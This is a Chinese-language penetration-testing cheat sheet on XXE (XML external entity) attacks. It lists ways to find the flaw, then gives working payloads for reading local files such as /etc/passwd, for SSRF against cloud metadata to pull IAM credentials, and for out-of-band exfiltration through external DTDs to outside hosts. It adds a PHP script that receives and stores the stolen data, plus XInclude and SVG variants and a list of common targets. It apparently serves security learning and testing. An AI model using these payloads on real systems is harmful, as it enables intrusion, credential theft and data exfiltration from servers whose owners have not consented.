-XXE黑盒发现：

两类：

-数据包的测试

-功能点的测试

1、获取得到Content-Type或数据类型为xml时，尝试xml语言payload进行测试

2、不管获取的Content-Type类型或数据传输类型，均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞，同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

-XXE白盒发现：

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等 #利用

1、文件读取：

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
```

&xxe;1

2、SSRF&配合元数据

条件：存在XXE注入的云服务器应用

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-
data/iam/security-credentials/admin"> ]>

<stockCheck><productId>

&xxe;

</productId><storeId>1</storeId></stockCheck>
```

外部引用实体dtd：

```
<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://xiaodi8.com/file.dtd">
%file;

]>

<user><username>&send;</username><password>xiaodi</password></user>

file.dtd

<!ENTITY send SYSTEM "file:///d:/x.txt">
```

无回显利用：

1、带外测试

```
<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://xiaodi8.dnslog.cn">
%file;
```

]>

&send;xiaodi

2、外部引用实体dtd配合带外

```
<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///c:/c.txt">

<!ENTITY % remote SYSTEM "http://www.xiaodi8.com/test.dtd">

%remote;

%all;

]>

<user><username>&send;</username><password>xiaodi</password></user>

test.dtd:
```

```
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.xiaodi8.com/get.php?
file=%file;'>">
```

用php接收数据:

```
<?php

$data=$_GET['file'];

$myfile = fopen("file.txt", "w+");

fwrite($myfile, $data);

fclose($myfile);

?>
逻辑:
test.dtd->all->send->get.php?file=%file->file:///c:/c.txt

http://www.xiaodi8.com/get.php?file=读取的内网数据
```

3、外部引用实体dtd配合错误解析

```
<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">

%eval;

%exfil;

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-
0ab2006f03dce8a4803dfde101f3007d.exploit-server.net/exploit"> %xxe;]>
```

#升级拓展:

1、xinclude利用

一些应用程序接收客户端提交的数据，在服务器端将其嵌入到XML文档中，然后解析该文档，所以利用xinclude嵌套进去执行

<xi:include parse="text" href="file:///etc/passwd"/>

2、SVG图像解析（docx等）

一些应用程序接收解析文件，可以使用基于XML的格式的例子有DOCX这样的办公文档格式和SVG这样的图像格式进行测试

```
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM
"file:///etc/hostname" > ]><svg width="128px" height="128px"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
```

3、见图就测

基于XML的Web服务： SOAP、REST和RPC API这些接收和处理XML格式

导入/导出功能： 任何以 XML 格式传输数据的进出口

RSS/Atom 订阅处理器： 订阅功能也可能隐藏着 XXE 漏洞。

文档查看器/转换器： 处理DOCX、XLSX等XML 格式文档的功能

文件上传处理 XML： 比如SVG图像处理器，上传图片也可能中招！